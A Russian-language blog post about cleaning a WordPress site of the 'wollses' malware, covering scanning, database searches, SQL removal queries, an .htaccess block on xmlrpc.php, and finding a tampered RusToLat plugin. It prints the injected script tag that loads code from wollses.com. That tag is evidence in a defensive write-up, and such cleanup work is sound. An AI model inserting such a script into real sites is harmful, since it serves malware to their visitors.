Чистка сайта от вредоносного кода wollses

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Пока оценок нет)
Загрузка...

Клиент хотел разместить рекламу от гугла на сайте, но техподдержка отказали, мотивируя это тем что на сайте вредоносные ссылки

Собственно после этого, обратились ко мне, чтобы почистить сайт от вируса.

Поиск вируса на сайте

Поиск указанных ссылок по файлам сайта и базе не дал результата. Сайт на WordPress.

Конечно вероятность что такая ссылка будет в коде стремится к нулю, так как вирусный код обычно получает данные с внешних источников и потом отображает на сайте, таким образом ссылку обнаружить невозможно.

Запустил сканирование сайта антивирусом «AI-Bolit», и да, он что-то нашел, и вывалил список с «Критические замечания», среди которых:

  • Уязвимости в скриптах
  • Эти файлы могут быть вредоносными или хакерскими скриптами
  • Эти файлы могут быть javascript вирусами
  • Обнаружены фишинговые страницы
  • Дорвеи, реклама, спам-ссылки, редиректы

Детально проверив каждый файл, оказалось что это не то что надо, те файлы не являлись вирусными. Единственное это один файл, который мог бы представлять угрозу

/wp-content/languages/themes/timturl.php

Он якобы предназначен для оптимизации изображений, но не было ни одного плагина или темы, который был с ним связан, и внутри находился код для загрузки контента из вне.

Был проверен html код страницы, которую с генерировал вордпрес и найдено несколько внешних скриптов, среди которых подключение jquery, font-awesome, чат, и еще один скрипт который как раз и вызвал подозрение, это


<script src="//wollses.com/steps.png"></script>

Данный скрипт включен в контенте сайта и он после запуска делает вставки скрипта с ссылками.

Как оказалось, в интернете полно информации о вредоносности данного скрипта. Теперь надо его удалить с сайта.

Чистка базы от вредоносных скриптов

Поиск по файлам сайта не дал результата, а вот поиск по базе как раз дал результат. Влючения находились в следующих таблицах:

  • wp_options, поле option_value
  • wp_posts, поле post_content

в опциях был параметр для виджета, и в контенте виджета находилась вставка (1 запись)

в постах — непосредственно в контенте постов вставка вредоносного скрипта (475 записей).

Уже интересней.

Сделал теперь поиск в контенте вобще всех включений скриптов, с любых источников, а вдруг wollses не единственный источник.


SELECT * FROM `wp_posts` where post_content like '%<script%'

Количество найденных записей ровнялось количеству записей с wollses, тоесть других включений нет (конечно могут быть исключения, типа в одном посте 2-3 и более подключений скриптов и идин из них wollses, но я пренебрег этим).

Далее делаю замену в базе


UPDATE `wp_posts` set `post_content`=REPLACE(`post_content`,'<script src="//wollses.com/steps.png"></script>','')

После замены, опять делаю поиск, для проверки. И на этот раз поиск не дал результат, таблица чиста. Также почистил и таблицу опций (wp_options).

Сделал еще раз поиск по все базе вредоносного скрипта, чтоб убедится что все чисто.

Закрываем уязвимости сайта

Теперь подумаем, как вредоносный скрипт попал на сайт.

Одни из вариантов проникновение в контент внешнего скрипта это вставка записей или редактирование через файл xmlrpc.php, который расположен в корне сайта.

Меняем его название на свое, например xxx.php, это уже отсечет автоматическое подключение к нему, и закрываем доступ в  .htaccess


<Files xxx.php>
order deny,allow
Deny from all
</Files>

Хорошо, теперь через него удаленно никто не сделает вставку, НО чтобы делать через него вставку кода, все-равно нужен логин и пароль, а значит его уже сперли и надо сменить.

Далее, как сперли логин и пароль? Тут несколько вариантов:

  • предыдущие оптимизаторы или программисты сперли
  • знакомые этих оптимизаторов и программистов
  • через плагины, которые ставили для улучшение сайта
  • через темы

На первые два пункта я повлиять не могу, а на последние два — надо проверить

После проверки плагинов, а точнее сверки их с оригинальными версиями, обнаружил изменения, в частности был модифицирован плагин RusToLat, внутри файла rus-to-lat.php вставка вредоносного кода.

Заменяю файл на оригинальную версию.

Итог: предположительно был установлен плагин с левого источника, в котором был вредоносный код, через который сперли доступы, далее дело техники, через файл xmlrpc.php, делали вставки скриптов.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *